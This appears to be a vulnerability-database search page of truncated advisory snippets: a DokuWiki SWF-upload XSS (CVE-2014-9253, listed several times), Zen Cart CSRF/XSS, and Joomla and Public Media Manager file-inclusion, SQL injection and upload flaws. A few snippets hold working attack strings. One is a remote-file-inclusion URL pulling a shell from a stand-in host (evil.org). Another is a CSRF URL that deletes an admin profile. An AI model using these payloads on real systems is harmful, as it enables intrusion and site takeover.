CVE-2014-9253

The default file type whitelist configuration in conf/mime.conf in the Media Manager in DokuWiki before 2014-09-29b allows remote attackers to execute arbitrary web script or HTML by uploading an SWF file, then accessing it via the media parameter to lib/exe/fetch.php...

DEBIAN-CVE-2014-9253

The default file type whitelist configuration in conf/mime.conf in the Media Manager in DokuWiki before 2014-09-29b allows remote attackers to execute arbitrary web script or HTML by uploading an SWF file, then accessing it via the media parameter to lib/exe/fetch.php...

CVE-2014-9253

The default file type whitelist configuration in conf/mime.conf in the Media Manager in DokuWiki before 2014-09-29b allows remote attackers to execute arbitrary web script or HTML by uploading an SWF file, then accessing it via the media parameter to lib/exe/fetch.php...

UBUNTU-CVE-2014-9253

The default file type whitelist configuration in conf/mime.conf in the Media Manager in DokuWiki before 2014-09-29b allows remote attackers to execute arbitrary web script or HTML by uploading an SWF file, then accessing it via the media parameter to lib/exe/fetch.php...

CVE-2014-9253

The default file type whitelist configuration in conf/mime.conf in the Media Manager in DokuWiki before 2014-09-29b allows remote attackers to execute arbitrary web script or HTML by uploading an SWF file, then accessing it via the media parameter to lib/exe/fetch.php...

CVE-2014-9253

The default file type whitelist configuration in conf/mime.conf in the Media Manager in DokuWiki before 2014-09-29b allows remote attackers to execute arbitrary web script or HTML by uploading an SWF file, then accessing it via the media parameter to lib/exe/fetch.php...

CVE-2014-9253

CVE-2014-9253 affects DokuWiki’s Media Manager when using the default SWF/upload whitelist in conf/mime.conf prior to the 2014-09-29b patch. An attacker can upload an SWF file and then access it via the media parameter to lib/exe/fetch.php, enabling remote execution of web scripts/HTML (XSS-like ...

[SECURITY] [DSA 3059-1] dokuwiki security update

------------------------------------------------------------------------- Debian Security Advisory DSA-3059-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff October 29, 2014 http://www.debian.org/security/faq -...

DSA-3059-1 dokuwiki - security update

Bulletin has no description...

Zen Cart 1.5.3 - Multiple Vulnerabilities

No description provided by source. Title: Zen Cart 1.5.3 - CSRF & Admin Panel XSS Date: 09.07.14 Vendor: zen-cart.com Tested on: Apache 2.2 at Linux Contact: smashatdevilteam.pl 1 - CSRF - Delete admin GET profile stands for user id...

Zen Cart 1.5.3 - Multiple Vulnerabilities

Zen Cart 1.5.3 - Multiple Vulnerabilities Title: Zen Cart 1.5.3 - CSRF & Admin Panel XSS Date: 09.07.14 Vendor: zen-cart.com Tested on: Apache 2.2 at Linux Contact: smashatdevilteam.pl 1 - CSRF - Delete admin GET profile stands for user id...

Zen Cart 1.5.3 - Multiple Vulnerabilities

Title: Zen Cart 1.5.3 - CSRF & Admin Panel XSS Date: 09.07.14 Vendor: zen-cart.com Tested on: Apache 2.2 at Linux Contact: smashatdevilteam.pl 1 - CSRF - Delete admin GET profile stands for user id. localhost/zen/zen-cart-v1.5.3-07042014/admin123/profiles.php?action=delete&profile=2 - Reset layou...

Zen Cart 1.5.3 - CSRF & Admin Panel XSS

Exploit for php platform in category web applications Title: Zen Cart 1.5.3 - CSRF & Admin Panel XSS Date: 09.07.14 Vendor: zen-cart.com Tested on: Apache 2.2 at Linux Contact: smashatdevilteam.pl 1 - CSRF - Delete admin GET profile stands for user id...

Joomla component com_jwmmxtd <= Remote File Inclusion Vulnerability

No description provided by source. Joomla component comjwmmxtd = Remote File Inclusion Vulnerability Info: JW Media Manager XTD comjwmmxtd Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x Version: 1.2 License: http://www.gnu.org/copyleft/gpl.html Page: http://www.joomlaworks.gr...

public media manager <= 1.3 - Remote File Inclusion Vulnerability

No description provided by source. f0und bY 0in Download:http://pmm-cms.sourceforge.net/ BUG: news/newstopicinc.php:2:if !empty$indir includeonce $indir./newsdb/config.php; Expl0it: http://x.com/path/news/newstopicinc.php?indir=http://evil.org/shell.txt milw0rm.com 2007-09-28...

Public Media Manager

No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager = 1.3 formsdir Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/pmm-cms/files/ Dork : dieLamers attempt; :D Vuln : ./pmm-cms-1.3/comcal/calmenu.php line 4 ?p...

Public Media Manager SQLi vulns

No description provided by source. Public Media Manager SQLi vulns By learn3r hacker from Nepal [email protected] Product name: Public Media Manager This product, an online NEWS CMS, suffers from SQL injection in login so that we can bypass the login system. Also, it suffers from SQLi in...

JCE Joomla Extension <= 2.0.10 - Multiple Vulnerabilities

No description provided by source. www.BugReport.ir AmnPardaz Security Research Team Title: JCE Joomla Extension =2.0.10 Multiple Vulnerabilities Vendor: www.joomlacontenteditor.net Exploit: Available Vulnerable Version: 2.0.10 Image Manager 1.5.7.13, Media Manager 1.5.6.3, Template Manager 1.5.5...

Joomla Media Manager File Upload Vulnerability

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

Joomla Media Manager File Upload Code Execution (CVE-2013-5576)

A remote code execution vulnerability has been found in Joomla Media Manager. The vulnerability is due to the Joomla Media Manager component allowing arbitrary file uploads, and results in arbitrary code execution. A remote attacker can exploit this weakness to upload malicious PHP files which...